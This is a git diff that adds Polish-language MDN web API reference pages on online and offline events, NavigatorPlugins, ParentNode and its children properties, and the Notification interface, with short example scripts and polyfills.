+<pre class="eval"><span class="nowiki">&lt;link rel="offline-resource" href="mój_zasób"&gt;</span>
+</pre>
+<p>Przy przetwarzaniu kodu HTML przez program Firefox w wersji 3 lub nowszej dokumenty wymienione w znaczniku zostaną zapisane w specjalnej pamięci podręcznej zasobów offline.
+</p>
+<h3 id="Interfejs_API" name="Interfejs_API"> Interfejs API </h3>
+<h4 id="navigator.onLine" name="navigator.onLine"> <code>navigator.onLine</code> </h4>
+<p><code><a href="pl/DOM/window.navigator.onLine">navigator.onLine</a></code> to własność, która zwraca wartość <code>true</code> lub <code>false</code> (<code>true</code> dla trybu online, <code>false</code> dla trybu offline). Własność ta jest aktualizowana za każdym razem, gdy użytkownik przełącza przeglądarkę w tryb offline, wybierając odpowiednie polecenie menu (w programie Firefox: Plik -&gt; Pracuj w trybie offline).
+</p><p>Ponadto ta własność powinna być aktualizowana zawsze, gdy w przeglądarce nie można nawiązać połączenia z siecią. Zgodnie ze specyfikacją:
+</p>
+<blockquote>
+Atrybut <code>navigator.onLine</code> musi zwracać wartość false, jeżeli w programie po kliknięciu odsyłacza przez użytkownika lub po wysłaniu przez skrypt żądania do zdalnej witryny nie można połączyć się z siecią (lub wiadomo, że taka próba nie powiedzie się)...
+</blockquote>
+<p>W programie Firefox 2 ta własność jest aktualizowana przy przełączaniu przeglądarki między trybami online i offline oraz przy utracie lub ponownym nawiązaniu połączenia z siecią (dotyczy systemów Windows i Linux).
+</p><p>Własność istnieje w starszych wersjach przeglądarek Firefox i Internet Explorer (obecna specyfikacja została oparta na tych właśnie wcześniejszych implementacjach), można zatem korzystać z niej już teraz. Automatyczne wykrywanie stanu połączenia sieciowego zostało wprowadzone w programie Firefox 2. </p>
+<h4 id="Zdarzenia_.22online.22_i_.22offline.22" name="Zdarzenia_.22online.22_i_.22offline.22"> Zdarzenia "<code>online</code>" i "<code>offline</code>" </h4>
+<p>W programie <a href="pl/Firefox_3">Firefox 3</a> wprowadzono dwa nowe zdarzenia: "<code>online</code>" i "<code>offline</code>". Są one wywoływane w elemencie <code>&lt;body&gt;</code> każdej otwartej strony, gdy przeglądarka jest przełączana między trybem online i offline. Ponadto zdarzenie bąbelkuje od elementu <code>document.body</code>, poprzez element <code>document</code>, aż do elementu <code>window</code>. Żadnego ze zdarzeń nie można anulować (niemożliwe jest zablokowanie możliwości przełączania przeglądarki między trybami online i offline).
+</p><p>Obserwatory (ang. <i>event listeners</i>) tych zdarzeń można zarejestrować na kilka sposobów:
+</p>
+<ul><li> przy użyciu metody <code><a href="pl/DOM/element.addEventListener">addEventListener</a></code> dla elementu <code>window</code>, <code>document</code> lub <code>document.body</code>;
+</li><li> za pomocą własności <code>.ononline</code> lub <code>.onoffline</code> dla elementu <code>document</code> lub <code>document.body</code> przez przypisanie do niej obiektu <code>Function</code> języka JavaScript. (<b>Uwaga:</b> własności <code>window.ononline</code> i <code>window.onoffline</code> nie działają ze względu na zgodność z poprzednimi wersjami);
+</li><li> przez ustawienie atrybutów <code>ononline="..."</code> lub <code>onoffline="..."</code> znacznika <code>&lt;body&gt;</code> w kodzie HTML.
+</li></ul>
+<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad"> Przykład </h3>
+<p>Dostępny jest <a class="link-https" href="https://bugzilla.mozilla.org/attachment.cgi?id=220609">prosty przykład zastosowania</a>, który pozwala na sprawdzenie działania zdarzeń.
+<span class="comment">XXX When mochitests for this are created, point to those instead and update this example -nickolay</span>
+</p>
+<pre class="eval"> &lt;!doctype html&gt;
+ &lt;html&gt;
+ &lt;head&gt;
+ &lt;script&gt;
+ function updateOnlineStatus(msg) {
+ var status = document.getElementById("status");
+ var condition = navigator.onLine ? "ONLINE" : "OFFLINE";
+ status.setAttribute("class", condition);
+ var state = document.getElementById("state");
+ state.innerHTML = condition;
+ var log = document.getElementById("log");
+ log.appendChild(document.createTextNode("Zdarzenie: " + msg + "; stan=" + condition + "\n"));
+ }
+ function loaded() {
+ updateOnlineStatus("load");
+ document.body.addEventListener("offline", function () {
+ updateOnlineStatus("offline")
+ }, false);
+ document.body.addEventListener("online", function () {
+ updateOnlineStatus("online")
+ }, false);
+ }
+ &lt;/script&gt;
+ &lt;style&gt;...&lt;/style&gt;
+ &lt;/head&gt;
+ &lt;body onload="loaded()"&gt;
+ &lt;div id="status"&gt;&lt;p id="state"&gt;&lt;/p&gt;&lt;/div&gt;
+ &lt;div id="log"&gt;&lt;/div&gt;
+ &lt;/body&gt;
+ &lt;/html&gt;
+</pre>
+<h3 id="Odsy.C5.82acze" name="Odsy.C5.82acze"> Odsyłacze </h3>
+<ul><li> <a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/#offline">Sekcja „Zdarzenia online i offline” w specyfikacji WHATWG Web Applications 1.0</a>
+</li><li> <a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=336359">Opis błędu dotyczącego implementacji zdarzeń online i offline w programie Firefox</a> oraz <a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=336682">kontynuacja dyskusji</a>
+</li><li> <a class="link-https" href="https://bugzilla.mozilla.org/attachment.cgi?id=220609">Prosty przykład zastosowania</a>
+</li><li> <a class="external" href="http://ejohn.org/blog/offline-events/">Objaśnienie zdarzeń online i offline</a>
+</li></ul>
+<div class="noinclude">
+</div>
+{{ languages( { "en": "en/Online_and_offline_events", "es": "es/Eventos_online_y_offline", "fr": "fr/\u00c9v\u00e8nements_online_et_offline", "ja": "ja/Online_and_offline_events", "pt": "pt/Eventos_online_e_offline" } ) }}
diff --git a/files/pl/web/api/navigatorplugins/index.html b/files/pl/web/api/navigatorplugins/index.html
new file mode 100644
index 0000000000..c009a19a07
--- /dev/null
+++ b/files/pl/web/api/navigatorplugins/index.html
@@ -0,0 +1,111 @@
+---
+title: NavigatorPlugins
+slug: Web/API/NavigatorPlugins
+tags:
+ - API
+ - Experimental
+ - HTML-DOM
+ - NeedsTranslation
+ - TopicStub
+translation_of: Web/API/NavigatorPlugins
+---
+<p>{{APIRef("HTML DOM")}}{{SeeCompatTable}}</p>
+
+<p>The <code><strong>NavigatorPlugins</strong></code> interface contains methods and properties related to the plugins installed in the browser.</p>
+
+<p>There is no object of type <code>NavigatorPlugins</code>, but other interfaces, like {{domxref("Navigator")}}, implement it.</p>
+
+<h2 id="Properties">Properties</h2>
+
+<dl>
+ <dt>{{domxref("NavigatorPlugins.mimeTypes")}} {{readonlyInline}}{{experimental_inline}}</dt>
+ <dd>Returns an {{domxref("MimeTypeArray")}} listing the MIME types supported by the browser.</dd>
+ <dt>{{domxref("NavigatorPlugins.plugins")}} {{readonlyInline}}{{experimental_inline}}</dt>
+ <dd>Returns a {{domxref("PluginArray")}} listing the plugins installed in the browser.</dd>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<p><em>The <code>NavigatorPlugins</code></em><em> interface doesn't inherit any method.</em></p>
+
+<dl>
+ <dt>{{domxref("NavigatorPlugins.javaEnabled")}} {{readonlyInline}}{{experimental_inline}}</dt>
+ <dd>Returns a {{domxref("Boolean")}} flag indicating whether the host browser is Java-enabled or not.</dd>
+</dl>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', '#navigatorplugins', 'NavigatorPlugins')}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Chrome</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Android</th>
+ <th>Chrome for Android</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>IE Mobile</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>The {{domxref("Navigator")}} interface that implements it.</li>
+</ul>
diff --git a/files/pl/web/api/parentnode/childelementcount/index.html b/files/pl/web/api/parentnode/childelementcount/index.html
new file mode 100644
index 0000000000..f3bbff6554
--- /dev/null
+++ b/files/pl/web/api/parentnode/childelementcount/index.html
@@ -0,0 +1,93 @@
+---
+title: ParentNode.childElementCount
+slug: Web/API/ParentNode/childElementCount
+translation_of: Web/API/ParentNode/childElementCount
+---
+<div>{{ APIRef("DOM") }}</div>
+
+<p><code><strong>ParentNode.childElementCount</strong></code> jest właściwością tylko do odczytu zwraca ona liczbę o typie <code>unsigned long</code>, która zwraca ilość elementów dzieci w elemencie rodzicu.</p>
+
+<div class="note">
+<p>Ta właściwość została początkowo zdefiniowana w interfejsie  {{domxref("ElementTraversal")}}. Interfejs ten {{domxref("Node")}}, posiadał 2 różne zestawy właściwości - te, które mają elementy dzieci i te elementy, które są dziećmi. Dzieci zostały przeniesione do interfejsu {{domxref("ChildNode")}}, a rodzice do {{domxref("ParentNode")}}. Jest to zmiana techniczna, która nie powinna mieć wpływu na kompatybilność.</p>
+</div>
+
+<h2 id="Składnia">Składnia</h2>
+
+<pre class="syntaxbox">var <var>liczbaDzieci</var> = <em>node</em>.childElementCount;
+</pre>
+
+<dl>
+ <dt><code>liczbaDzieci</code></dt>
+ <dd>Wartość która zostanie zwrócona o typie <code>unsigned long</code> (maksymalnie 64 bitowa liczba całkowita dodatnia).</dd>
+ <dt><code>node</code></dt>
+ <dd>Objekt reprezentowany przez {{domxref("Document")}}, {{domxref("DocumentFragment")}}, lub {{domxref("Element")}}.</dd>
+</dl>
+
+<h2 id="Przykład">Przykład</h2>
+
+<pre class="brush:js">var elementRodzic = document.getElementById('tata');
+if (elementRodzic.childElementCount &gt; 0) {
+ // Zrób coś
+}
+</pre>
+
+<h2 id="Łatka_dla_IE8_IE9_Safari">Łatka dla IE8 &amp; IE9 &amp; Safari</h2>
+
+<p>Ta właściwość jest niewspierana na przeglądarkach IE9 i poniżej oraz Safari, jest niewspierana dla obiektów <code>Document</code> i <code>DocumentFragment</code>.</p>
+
+<pre class="brush:js">;(function(constructor) {
+ if (constructor &amp;&amp;
+ constructor.prototype &amp;&amp;
+ constructor.prototype.childElementCount == null) {
+ Object.defineProperty(constructor.prototype, 'childElementCount', {
+ get: function() {
+ var i = 0, dzieci = 0, wezel, iloscElementow = this.childNodes;
+ while (wezel = iloscElementow[i++]) {
+ if (wezel.nodeType === 1) dzieci++;
+ }
+ return dzieci;
+ }
+ });
+ }
+})(window.Node || window.Element);
+</pre>
+
+<h2 id="Specyfikacja">Specyfikacja</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specyfikacja</th>
+ <th scope="col">Status</th>
+ <th scope="col">Komentarz</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('DOM WHATWG', '#dom-parentnode-childElementCount', 'ParentNode.childElementCount')}}</td>
+ <td>{{Spec2('DOM WHATWG')}}</td>
+ <td>Dzieli interfejs <code>ElementTraversal</code> na {{domxref("ChildNode")}} i <code>ParentNode</code>. Obecna właściwość jest zdefinionawa w tym drugim.<br>
+ {{domxref("Document")}} i {{domxref("DocumentFragment")}} zaimlementowały już nowe interfejsy.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('Element Traversal', '#attribute-childElementCount', 'ElementTraversal.childElementCount')}}</td>
+ <td>{{Spec2('Element Traversal')}}</td>
+ <td>
+ <p>Na chwilę obecną dodano wstępną definicje do interfejsu <code>ElementTraversal</code> i wykorzystywana jest ona w klasie {{domxref("Element")}}.</p>
+ </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Kompatybilność_z_przeglądarkami">Kompatybilność z przeglądarkami</h2>
+
+
+
+<p>{{Compat("api.ParentNode.childElementCount")}}</p>
+
+<h2 id="Zobacz_także">Zobacz także</h2>
+
+<ul>
+ <li>Interfejs {{domxref("ParentNode")}} i {{domxref("ChildNode")}}.</li>
+ <li>
+ <div class="syntaxbox">Obiekty które wykorzystują powyższe interfejsy: {{domxref("Document")}}, {{domxref("Element")}}, {{domxref("DocumentFragment")}}.</div>
+ </li>
+</ul>
diff --git a/files/pl/web/api/parentnode/children/index.html b/files/pl/web/api/parentnode/children/index.html
new file mode 100644
index 0000000000..1d8576d64b
--- /dev/null
+++ b/files/pl/web/api/parentnode/children/index.html
@@ -0,0 +1,96 @@
+---
+title: ParentNode.children
+slug: Web/API/ParentNode/children
+tags:
+ - API
+ - Dzieci
+ - Dziecko
+ - Kolekcja HTML
+ - Potomek
+ - Potomkowie
+ - Właściwość
+ - węzeł
+translation_of: Web/API/ParentNode/children
+---
+<div>{{ APIRef("DOM") }}</div>
+
+<p><span class="seoSummary">The {{domxref("ParentNode")}} właściwość <code><strong>children</strong></code> jest właściwością tylko do odczytu (read-only) która zwraca aktualną kolekcję {{domxref("HTMLCollection")}} zawierającą wszystkie elementy podrzędne {{domxref("Element", "elements")}} węzła, na którym został wywołany.</span></p>
+
+<h2 id="Składnia">Składnia</h2>
+
+<pre class="syntaxbox notranslate">let <var>children</var> = <var>node</var>.children;</pre>
+
+<h3 id="Value">Value</h3>
+
+<p>{{ domxref("HTMLCollection") }} aktualna, uporządkowana kolekcja elementów DOM które są potomkami <code><var>node</var></code>. Możesz otrzymać pojedynczych potomków kolekcji używając albo {{domxref("HTMLCollection.item()", "item()")}} metody na kolekcji, albo używając notacji w stylu tablicowym języka JavaScript.</p>
+
+<p>Jeżeli element node nie ma potomków, wtedy <code>children</code> jest pustą listą o długości 0 (<code>length</code> of <code>0)</code>.</p>
+
+<h2 id="Przykład">Przykład</h2>
+
+<pre class="brush: js notranslate">const foo = document.getElementById('foo');
+for (let i = 0; i &lt; foo.children.length; i++) {
+ console.log(foo.children[i].tagName);
+}
+</pre>
+
+<h2 id="Uzupełnienie">Uzupełnienie</h2>
+
+<pre class="brush: js notranslate">// Nadpisuje natywny prototyp 'children'.
+// Dodaje Document &amp; DocumentFragment wsparcie dla IE9 &amp; Safari.
+// Zwraca tablicę zamiast HTMLCollection.
+;(function(constructor) {
+ if (constructor &amp;&amp;
+ constructor.prototype &amp;&amp;
+ constructor.prototype.children == null) {
+ Object.defineProperty(constructor.prototype, 'children', {
+ get: function() {
+ let i = 0, node, nodes = this.childNodes, children = [];
+ while (node = nodes[i++]) {
+ if (node.nodeType === 1) {
+ children.push(node);
+ }
+ }
+ return children;
+ }
+ });
+ }
+})(window.Node || window.Element);
+</pre>
+
+<h2 id="Specyfikacja">Specyfikacja</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('DOM WHATWG', '#dom-parentnode-children', 'ParentNode.children')}}</td>
+ <td>{{Spec2('DOM WHATWG')}}</td>
+ <td>Wstępna definicja</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Zgodność_z_przeglądarkami">Zgodność z przeglądarkami</h2>
+
+<div class="hidden">Tablica zgodności na tej stronie jest generowana z danych strukturalnych. Jeśli chcesz przyczynić się do do tych danych, proszę sprawdź <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> i wyślij nam swoją propozycję (a pull request).</div>
+
+<p>{{Compat("api.ParentNode.children")}}</p>
+
+<h2 id="Zobacz_także">Zobacz także</h2>
+
+<ul>
+ <li>Interfejsy {{domxref("ParentNode")}} {{domxref("ChildNode")}}.</li>
+ <li>
+ <div class="syntaxbox">Typy obiektów implementujące ten interfejs: {{domxref("Document")}}, {{domxref("Element")}}, {{domxref("DocumentFragment")}}.</div>
+ </li>
+ <li>
+ <div class="syntaxbox">{{domxref("Node.childNodes")}}</div>
+ </li>
+</ul>
diff --git a/files/pl/web/api/parentnode/index.html b/files/pl/web/api/parentnode/index.html
new file mode 100644
index 0000000000..2cbf79f11c
--- /dev/null
+++ b/files/pl/web/api/parentnode/index.html
@@ -0,0 +1,90 @@
+---
+title: ParentNode
+slug: Web/API/ParentNode
+tags:
+ - API
+ - DOM
+ - Finding Elements
+ - Finding Nodes
+ - Interface
+ - Locating Elements
+ - Locating Nodes
+ - Managing Elements
+ - Managing Nodes
+ - Mixin
+ - NeedsTranslation
+ - Node
+ - ParentNode
+ - Reference
+ - Selectors
+ - TopicStub
+translation_of: Web/API/ParentNode
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p><span class="seoSummary">The <code><strong>ParentNode</strong></code> mixin contains methods and properties that are common to all types of {{domxref("Node")}} objects that can have children.</span> It's implemented by {{domxref("Element")}}, {{domxref("Document")}}, and {{domxref("DocumentFragment")}} objects.</p>
+
+<p>See <a href="/en-US/docs/Web/API/Document_object_model/Locating_DOM_elements_using_selectors">Locating DOM elements using selectors</a> to learn how to use <a href="/en-US/docs/Web/CSS/CSS_Selectors">CSS selectors</a> to find nodes or elements of interest.</p>
+
+<h2 id="Properties">Properties</h2>
+
+<dl>
+ <dt>{{domxref("ParentNode.childElementCount")}} {{readonlyInline}}</dt>
+ <dd>Returns the number of children of this <code>ParentNode</code> which are elements.</dd>
+ <dt>{{domxref("ParentNode.children")}} {{readonlyInline}}</dt>
+ <dd>Returns a live {{domxref("HTMLCollection")}} containing all of the {{domxref("Element")}} objects that are children of this <code>ParentNode</code>, omitting all of its non-element nodes.</dd>
+ <dt>{{domxref("ParentNode.firstElementChild")}} {{readonlyInline}}</dt>
+ <dd>Returns the first node which is both a child of this <code>ParentNode</code> <em>and</em> is also an <code>Element</code>, or <code>null</code> if there is none.</dd>
+ <dt>{{domxref("ParentNode.lastElementChild")}} {{readonlyInline}}</dt>
+ <dd>Returns the last node which is both a child of this <code>ParentNode</code> <em>and</em> is an <code>Element</code>, or <code>null</code> if there is none.</dd>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<dl>
+ <dt>{{domxref("ParentNode.append()")}} {{experimental_inline}}</dt>
+ <dd>Inserts a set of {{domxref("Node")}} objects or {{domxref("DOMString")}} objects after the last child of the <code>ParentNode</code>. {{domxref("DOMString")}} objects are inserted as equivalent {{domxref("Text")}} nodes.</dd>
+ <dt>{{domxref("ParentNode.prepend()")}} {{experimental_inline}}</dt>
+ <dd>Inserts a set of {{domxref("Node")}} objects or {{domxref("DOMString")}} objects before the first child of the <code>ParentNode</code>. {{domxref("DOMString")}} objects are inserted as equivalent {{domxref("Text")}} nodes.</dd>
+ <dt>{{domxref("ParentNode.querySelector()")}}</dt>
+ <dd>Returns the first {{domxref("Element")}} with the current element as root that matches the specified group of selectors.</dd>
+ <dt>{{domxref("ParentNode.querySelectorAll()")}}</dt>
+ <dd>Returns a {{domxref("NodeList")}} representing a list of elements with the current element as root that matches the specified group of selectors.</dd>
+</dl>
+
+<h2 id="Specification">Specification</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('DOM WHATWG', '#parentnode', 'ParentNode')}}</td>
+ <td>{{Spec2('DOM WHATWG')}}</td>
+ <td>Split the <code>ElementTraversal</code> interface into {{domxref("ChildNode")}} and {{domxref("ParentNode")}}. The {{domxref("ParentNode.firstElementChild")}}, {{domxref("ParentNode.lastElementChild")}}, and {{domxref("ParentNode.childElementCount")}} properties are now defined on the latter. Added the {{domxref("ParentNode.children")}} property, and the {{domxref("ParentNode.querySelector()")}}, {{domxref("ParentNode.querySelectorAll()")}}, {{domxref("ParentNode.append()")}}, and {{domxref("ParentNode.prepend()")}} methods.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('Element Traversal', '#interface-elementTraversal', 'ElementTraversal')}}</td>
+ <td>{{Spec2('Element Traversal')}}</td>
+ <td>Added the initial definition of its properties to the <code>ElementTraversal</code> pure interface and used it on {{domxref("Element")}}.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.ParentNode")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>The {{domxref("ChildNode")}} pure interface.</li>
+ <li>
+ <div class="syntaxbox">Object types implementing this mixin: {{domxref("Document")}}, {{domxref("Element")}}, and {{domxref("DocumentFragment")}}.</div>
+ </li>
+</ul>
diff --git a/files/pl/web/api/powiadomienie/index.html b/files/pl/web/api/powiadomienie/index.html
new file mode 100644
index 0000000000..e314c36a3a
--- /dev/null
+++ b/files/pl/web/api/powiadomienie/index.html
@@ -0,0 +1,348 @@
+---
+title: Powiadomienie
+slug: Web/API/powiadomienie
+tags:
+ - API
+ - JS Powiadomienia
+ - Powiadomienia
+ - Powiadomienie
+translation_of: Web/API/Notification
+---
+<p>{{APIRef("Web Notifications")}}</p>
+
+<p>Interfejs Powiadomień {{domxref('Notifications_API','Notifications API')}}  jest używany do konfigurowania i wyświetlania powiadomień komputerowych do użytkownika .</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="Konstruktor">Konstruktor</h2>
+
+<dl>
+ <dt>{{domxref("Notification.Notification()")}}</dt>
+ <dd>Tworzy nową instancję obiektu {{domxref('Notification')}} .</dd>
+</dl>
+
+<h2 id="Cechy">Cechy</h2>
+
+<h3 id="Statyczne_Cechy">Statyczne Cechy</h3>
+
+<p>Te Cechy są dostępne tylko dla obiektu powiadomienia.</p>
+
+<dl>
+ <dt>{{domxref("Notification.permission")}} {{readonlyinline}}</dt>
+ <dd>Linia reprezentująca obecne uprawnienia do wyświetlania powiadomień.Możliwe Wartośći to:denied(Użytkownik odmawia do wyświetlania powiadomień), granted(Użytkownik zaakceptował wyświetlanie powiadomień),albo default(Wybór użytkownika jest nieznany i dlatego przeglądarka zachowuje się jak przy odmowie).</dd>
+</dl>
+
+<h3 id="Cechy_Instancji">Cechy Instancji</h3>
+
+<p>Te Cechy są dostępne tylko dla obiektu powiadomień.</p>
+
+<dl>
+ <dt>{{domxref("Notification.title")}} {{readonlyinline}}</dt>
+ <dd>Tytuł powiadomienia jak określone w opcjach parametru konstruktora.</dd>
+ <dt>{{domxref("Notification.dir")}} {{readonlyinline}}</dt>
+ <dd>Kierunek tekstu powiadomienia jak określone w opcjach parametru konstruktora.</dd>
+ <dt>{{domxref("Notification.lang")}} {{readonlyinline}}</dt>
+ <dd>Język kodu powiadomienia jak określone w opcjach parametru konstruktora.</dd>
+ <dt>{{domxref("Notification.body")}} {{readonlyinline}}</dt>
+ <dd>Tekst powiadomienia jak określone w opcjach parametru konstruktora.</dd>
+ <dt>{{domxref("Notification.tag")}} {{readonlyinline}}</dt>
+ <dd>ID powiadomienia (jeżeli jakiekolwiek) jak określone w opcjach parametru konstruktora.</dd>
+ <dt>{{domxref("Notification.icon")}} {{readonlyinline}}</dt>
+ <dd>Url obrazku użytego w powiadomieniu jak określone w opcjach parametru konstruktora.</dd>
+ <dt>{{domxref("Notification.data")}} {{readonlyinline}}</dt>
+ <dd>Zwraca klon struktury daty powiadomienia.</dd>
+ <dt>{{domxref("Notification.silent")}} {{readonlyinline}}</dt>
+ <dd>Opisuje czy powiadomienie powinno być ciche,takie jak bez dźwięku czy wbiracji bez względu na ustawienia urządzenia.</dd>
+</dl>
+
+<h4 id="Nie_wspierane_cechy">Nie wspierane cechy</h4>
+
+<p>Pokazane Cechy są najbardziej aktualną ze specyfikacją, ale nie są wspierane narazie przez żadną przeglądarkę.Wskazane jest aby sprawdzać regularnie czy status się zaktualizował , i daj nam znać jeżeli znajdziesz nie aktualne informacje.</p>
+
+<dl>
+ <dt>{{domxref("Notification.noscreen")}} {{readonlyinline}}</dt>
+ <dd>Określa, czy należy włączyć powiadomienia na ekranie urządzenia, czy też nie.</dd>
+ <dt>{{domxref("Notification.renotify")}} {{readonlyinline}}</dt>
+ <dd>Określa, czy użytkownik powinien być powiadamiany po nowym powiadomieniu i zastąpić stare powiadomienie.</dd>
+ <dt>{{domxref("Notification.sound")}} {{readonlyinline}}</dt>
+ <dd>Określa dźwięk do odtworzenia wraz z powiadomieniem,za miejscę podstawowego powiadomienia systemowego.</dd>
+ <dt>{{domxref("Notification.sticky")}} {{readonlyinline}}</dt>
+ <dd>Określa czy powiadomienie powinno być trudniejsze do usunięcia przez użytkownika, klejące 'sticky'.</dd>
+ <dt>{{domxref("Notification.vibrate")}} {{readonlyinline}}</dt>
+ <dd>Określa wibrację urządzenia do emisji przez urządzenie.</dd>
+</dl>
+
+<h4 id="Obsługa_zdarzeń">Obsługa zdarzeń</h4>
+
+<dl>
+ <dt>{{domxref("Notification.onclick")}}</dt>
+ <dd>Obsługa dla zdarzenia {{event("click")}}.Odpalane przy każdym kliknięciu powiadomienia.</dd>
+ <dt>{{domxref("Notification.onerror")}}</dt>
+ <dd>Obsługa dla zdarzenia {{event("error")}}.Odpalane przy każdym razie kiedy powiadomienie będzie napotykało błąd.</dd>
+</dl>
+
+<h4 id="Przestarzała_obsługa">Przestarzała obsługa</h4>
+
+<p>Pokazana obsługa zdarzeń jest nadal wspierana w  sekcji poniższej {{anch("browser compatibility")}},ale nie pokazane w obecnej specyfikacji. I w związku z tym, aby bezpiecznie założyć, że są przestarzałe mogą przestać działać w przyszłych wersjach przeglądarek.</p>
+
+<dl>
+ <dt>{{domxref("Notification.onclose")}}</dt>
+ <dd>Obsługa zdażenia {{event("close")}}. Zamyka powiadomienie.</dd>
+ <dt>{{domxref("Notification.onshow")}}</dt>
+ <dd>Obsługa zdażenia {{event("show")}}.Pokazuje gdy powiadomienie jest pokazywane.</dd>
+</dl>
+
+<h2 id="Metoda">Metoda</h2>
+
+<h3 id="Statyczna_metoda">Statyczna metoda</h3>
+
+<p>Te metody są dostępne tylko dla obiektu powiadomień.</p>
+
+<dl>
+ <dt>{{domxref("Notification.requestPermission()")}}</dt>
+ <dd>Requests permission from the user to display notifications.</dd>
+</dl>
+
+<h3 id="Metoda_instacji">Metoda instacji</h3>
+
+<p>Te cechy są dostępne tylko dla obiektu powiadomień albo to <a href="/en-US/docs/Web/JavaScript/Guide/Inheritance_and_the_prototype_chain" name="prototyp"><code>prototype</code></a>. Obiekt powiadomień pobiera to z interfejsu {{domxref("EventTarget")}}.</p>
+
+<dl>
+ <dt>{{domxref("Notification.close()")}}</dt>
+ <dd>Programowo zamyka powiadomienie.</dd>
+</dl>
+
+<h2 id="Przykład">Przykład</h2>
+
+<p>W podstawowtym HTMLu:</p>
+
+<pre class="brush: html">&lt;button onclick="notifyMe()"&gt;Pokaż Powiadomienie!&lt;/button&gt;</pre>
+
+<p>Jest to możliwe aby wysłać powiadomienie - tutaj pokazujemy jak łatwo i w kompletnym składzie kodu zobaczyć czy powiadomienia są wspierane,potem sprawdzić uprawnienia czy zostały nadane dla obecnego dźwięku powiadomień, potem sprawdź uprawnienia jeżeli potrzebne,przed wysłaniem powiadomienia. </p>
+
+<pre class="brush: js">function notifyMe() {
+ // Sprawdzamy czy przeglądarka obsługuje powiadomienia.
+ if (!("Notification" in window)) {
+ alert("Ta przeglądarka nie obsługuje powiadomień");
+ }
+
+ // Sprawdźmy czy uprawnienia dla powiadomienia zostały nadane
+ else if (Notification.permission === "granted") {
+ // jeżeli są tworzymy powiadomienie
+ var notification = new Notification("Hi there!");
+ }
+
+ // W innym przypadku tworzymy zapytanie o uprawnienia
+ else if (Notification.permission !== 'denied') {
+ Notification.requestPermission(function (permission) {
+ //Jeżeli użytkownik zaakceptuje tworzymy powiadomienie
+ if (permission === "granted") {
+ var notification = new Notification("Hi there!");
+ }
+ });
+ }
+
+ // Na koniec, jeżeli użytkownik odmówił powiadomień i chcesz szanować go
+ // nie ma potrzeby dręczyć go zapytaniami
+}</pre>
+
+<p>{{EmbedLiveSample('Przyk%C5%82ad', '100%', 30)}}</p>
+
+<p>W wielu przypadkach, nie potrzebujesz tworzyć nowych form. Dla przykładu, w naszym <a href="http://mdn.github.io/emogotchi/">Emogotchi demo</a> (<a href="https://github.com/mdn/emogotchi" name="Zobacz kod źródłowy">see source code</a>), Prosto odpalamy {{domxref("Notification.requestPermission")}} aby sprawdzać czy możemy dostać uprawnienia do wysyłania powiadomień: </p>
+
+<pre class="brush: js">Notification.requestPermission();</pre>
+
+<p>Potem odpalamy funkcje <code>spawnNotification()</code> kiedy chcemy odpalić powiadomienie — to jest przekazywane do argumentu opisanego tekstu,ikony i tytułu który chcemy, potem tworzy konieczne opcje obiektu i odpala powiadomienie używając konstruktora {{domxref("Notification.Notification","Notification()")}}.</p>
+
+<pre class="brush: js">function spawnNotification(theBody,theIcon,theTitle) {
+ var options = {
+ body: theBody,
+ icon: theIcon
+ }
+ var n = new Notification(theTitle,options);
+}</pre>
+
